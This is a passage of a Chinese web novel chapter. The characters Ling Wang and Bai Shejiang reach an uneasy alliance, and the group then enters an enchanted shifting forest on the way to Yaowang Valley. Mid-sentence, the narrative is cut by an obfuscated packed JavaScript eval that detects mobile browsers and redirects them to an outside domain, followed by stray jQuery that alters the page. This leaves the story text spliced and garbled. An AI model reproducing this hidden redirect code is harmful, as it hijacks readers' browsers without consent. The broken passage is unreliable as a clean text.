“凌妄,”她第一次直呼他的名字,声音依旧轻柔,却不再带有丝毫矫饰的哽咽,平静得令人心惊,“你比我想象的……还要敏锐得多。”
她顿了顿,目光缓缓扫过神色各异的三人,最终又落回凌妄身上,那眼底的沉静仿佛能吞噬一切光线。
“但我依旧不能告诉你。”她轻轻摇头,语气里带着一种不容动摇的决绝,甚至有一丝淡淡的歉疚,却绝非妥协,“并非不愿,而是不能。有些秘密,知道本身……便是灾祸。”
她微微抬起手腕,那串深色木珠在月光下泛着幽冷的光泽,缺少一颗的位置显得格外突兀。
“你们可以认为我别有用心,可以现在就杀了我,或者将我弃于此地。”她说着最坏的可能,神情却依旧平静,甚至带着一种殉道者般的坦然,“但我不会离开。西南,我必须去。而你们……尤其是你,凌妄,你们也需要我。”
“需要你?”裴不染嗤笑一声,扇子重新摇了起来,只是眼神依旧冷,“需要你一次次‘恰到好处’地遇险,再来搅乱局面吗?”
白涉江看向他,目光坦然:“没有我,你们即便能找到地方,也进不去。没有我,你们即便进去了,也活不过三日。”她的语气没有任何炫耀或威胁,只是在陈述一个她认为的事实,平淡得令人发毛。
“药王谷周围百里,遍布着千年来的毒瘴、蛊阵以及……更古老的东西。外人擅入,十死无生。唯有谷中核心弟子,知晓安全路径与化解之法。”
她再次看向凌妄,眼神锐利:“我确实利用了你们,借你们之力应对沿途危机,掩饰我的行踪。但我从未想过害你们性命,相反,我在尽力确保你们能活着走到药王谷。因为……你们活着,对我更重要。”
这话说得模糊却又惊心。
凌妄沉默地看着她,试图从她那双深不见底的眸子里找出哪怕一丝一毫的虚伪或动摇,但他看到的只有一片近乎冷酷的真诚和无法撼动的决心。
她承认了利用,承认了隐瞒,却将最关键的目的捂得严严实实,甚至用更大的悬念和威胁来包裹它。
“确保我们活着?”凌妄声音冷澈,“用一次次将自身置于险地的方式?”
白涉江极淡地笑了一下,那笑容里带着几分自嘲:“有时,示弱与遇险,是最好的盾牌,也是……最不易被察觉的试探。更何况……”她顿了顿,意有所指地轻声道,“有些危险,并非冲你们而来。”
裴不染眼神微动,扇子摇得慢了些。
萧溪山听得云里雾里,看看这个,又看看那个,只觉得这白姑娘说的话每个字都听得懂,连在一起却完全不明白,但那股不容置疑的气势却让他不敢再轻易插话。
凌妄没有再逼问。他知道,眼前这个女子,心志之坚,远超想象。威逼利诱,对她毫无作用。她就像一汪深潭,你看得到表面的平静,却永远探不到底。
杀了她?此刻并非明智之举,尤其是在这危机四伏的西南边境,她的价值尚未厘清。
弃了她?她所言若是属实,失去她的指引,前路或许真是死路一条。
继续带着她?便意味着要时刻提防身边这条不知是助力还是毒蛇的“同伴”,承受那随时可能爆发的、未知的风险。
凌妄的目光越过她,望向西南方向那更加浓重深邃的黑暗,仿佛能看到那片被毒瘴与古老秘密笼罩的土地。
良久,他收回目光,语气听不出喜怒:“跟上。”
只说了两个字,他便转身,继续向对岸走去。没有表态,没有信任,只是一种基于当前局势的、冰冷的权衡和利用。
白涉江对于他这个反应似乎毫不意外,她轻轻整理了一下微乱的衣襟和鬓发,恢复那副温婉柔顺的模样,安静地跟了上去,仿佛刚才那番近乎摊牌的对话从未发生过。
裴不染挑了挑眉,扯了扯还在发愣的萧溪山,也跟了上去。
桥依旧危险,水依旧冰冷,前路依旧迷雾重重。
只是队伍里的气氛,变得更加诡异和紧绷。一种无形的、基于相互利用和警惕的“合作”,在这暗夜的石桥上,以一种极其微妙的方式达成了。
而那双沉静如古井的眸子深处,一丝极淡的、无人察觉的忧虑,终于缓缓浮现。
她的时间,不多了。
四人沉默地走过石桥,踏上对岸湿润的土地。身后的水声依旧轰鸣,却仿佛被一道无形的屏障隔开,变得遥远而模糊。
对岸的林地比之前更加茂密幽深,参天古木遮天蔽月,只有零星的光斑透过层层叠叠的枝叶洒落,在地上投下诡异扭曲的影子。空气变得愈发潮湿闷热,弥漫着一种浓郁的、混合着腐殖土和某种奇异草木清香的气息,吸入口鼻带着一股淡淡的涩意,反而让人精神一振。
“我们已进入‘迷踪林’的外围了。”白涉江轻声开口,打破了沉寂。她的声音在幽静的林间显得格外清晰,“这里的树木受地气与古老阵法影响,方位感极易错乱,林木自身也会缓慢移动,形成天然迷阵。跟紧我,切记只看脚下之路,勿要相信远处看到的景物。”
她说着,率先向前走去。她的步伐依旧轻盈,但明显更加谨慎,每走几步便会停下,目光并非看向远处,而是凝视着脚下看似寻常的苔藓分布、岩石朝向,或是伸手感受空气中几乎难以察觉的细微气流变化。她的指尖偶尔会极快地在腕间木珠上拂过,那木珠上便会闪过一道微不可查的柔和光晕,似乎在感应着地脉的流向。
裴不染凑近凌妄,用扇子掩着唇,声音压得极低:“世子爷,这地方邪门得很啊,连棵树都成精了会自己跑?咱们这向导,要是不靠谱,怕是得困死在这儿当肥料。”
凌妄没有回答,只是目光锐利地观察着白涉江每一个细微的动作和她经过之处环境的任何异样。他发现,她选择的路径看似毫无规律,时而绕行,时而折返,但总能恰到好处地避开那些看似平坦却暗藏涡流气息的“伪路”,踏足之处总是地势最为坚实稳定之处。
她对这里的了解,远超“偶尔出来寻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290200|182651||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
兄”该有的程度,更像是一种深植于血脉或传承中的本能。
又行了一段,周围的林木形态越发奇诡,虬结的根须裸露在地表,如同扭曲的臂膀,枝桠交错,几乎遮蔽了所有天光,只有些微发光的苔藓提供着照明,环境幽暗得如同行走在巨兽的腹腔内。一种无形的压力笼罩下来,仿佛有无数双眼睛在黑暗中凝视。
突然,走在稍后的萧溪山发出一声低呼:“等等!我们刚才是不是走过这里?这棵歪脖子树我看着眼熟!”
众人停下脚步,只见身旁确实有一棵形状奇特的古树,树干扭曲成一个近乎完整的圆环。萧溪山脸色有些发白,在这完全失去方向感的密林中,少年人的心志难免受到冲击。
白涉江却摇了摇头,语气肯定:“没有。这是‘孪瞳木’,这片林子里至少有七棵形态极其相似的。我们一直在向西南方向前行,未曾绕圈。”她伸手指向树下几乎被苔藓覆盖的一块不起眼的青石,“看石上的刻痕,这是三百年前药王谷先辈留下的指路印,指向下一个的生门。”
凌妄俯身拂去苔藓,果然看到石面上刻着一个极其古老的、类似草药形状的徽记,指向左前方。
裴不染用扇骨敲了敲那棵“孪瞳木”,树木发出沉闷的实心声响,他挑眉:“以假乱真,真是好手段。若是自己闯进来,怕是走到死也发现不了。”他看向白涉江的目光里,探究之意更浓。
白涉江并未在意他的审视,只是凝神感应了片刻,率先向左前方走去:“这边的‘气’更顺畅些。不过要小心,前面是‘回音廊’,任何过大的声响都可能被扭曲放大,甚至引来不必要的麻烦。”
她所谓的“回音廊”,是一片巨大的、由无数光滑如镜的黑色岩石自然形成的峡谷缝隙。走入其中,仿佛进入了一个巨大的共鸣箱,连脚步声都被放大了数倍,带着重重回音,显得格外阴森。
就在四人小心翼翼穿行其中时,凌妄耳廓微动,忽然听到一丝极其微弱的、不同于回声的金铁交击之声从极远处传来,似乎还夹杂着几声短促的呼喝!
他猛地抬手,示意众人停下。
所有声音瞬间消失,只剩下自己血液流动的声音和放大的呼吸声。
“怎么了,凌大哥?”萧溪山紧张地小声问,声音在廊壁间碰撞出细微的回响。
凌妄目光锐利如鹰,望向声音传来的方向——那是一片更加深邃黑暗的岔道裂隙。他压低声音:“前面有人,在交手。”
白涉江的眉头几不可查地蹙了一下,侧耳倾听片刻,缓缓摇头:“声音太远,被回廊扭曲,难以分辨具体情况。但这条岔路……并非通往药王谷的正路,而是通向一处古老的祭坛废墟,平素根本无人会去。”
裴不染扇子一合,眼神亮了起来:“祭坛废墟?听起来就像会藏着宝贝或者秘密的地方啊。会不会和咱们那张图有关?还是说……有人抢先在哪儿搞什么见不得人的勾当?”
凌妄沉吟片刻,做出决定:“过去看看。所有人,噤声。”